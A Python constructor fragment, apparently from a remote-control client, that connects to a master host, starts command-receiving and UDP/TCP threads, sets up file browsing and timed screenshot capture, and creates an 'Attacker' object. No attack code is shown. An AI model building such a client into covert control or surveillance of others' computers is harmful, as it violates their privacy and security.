def __init__(self, udpPort=8082): # configs self.udpPort = udpPort self.udpRecvPort = udpPort + 1 self.masterIP = master_ip self.masterUdpPort = config.getint('client', 'masterUdpPort') self.masterTcpPort = config.getint('client', 'masterTcpPort') self.ownip = get_host_ip() print(self.ownip) self.cwd = os.getcwd() self.fileExplorer = FileExplorer() self.p = None self.enableRun = True self.realCmdQ = Queue() self.commandThread = Thread(target=self.cmdRecv) self.commandThread.daemon = True self.commandThread.start() self.udpSocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self.udpSocket.bind((self.ownip, self.udpPort)) self.udpRecvSocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self.udpRecvSocket.bind((self.ownip, self.udpRecvPort)) self.tcpSocket = None self.udpQ = Queue() self.udpS = Thread(target=self.udpSend, daemon=True) self.udpR = Thread(target=self.udpRecv, daemon=True) self.udpS.start() self.udpR.start() self.tcpSQ = Queue() self.tcpS = Thread(target=self.RealtcpSend, daemon=True) self.tcpS.start() self.enablePic = True self.picTime = 5 # 每张截图时间间隔为 picTime * 0.05 self.picThread = None self.width = 672 self.attacker = Attacker()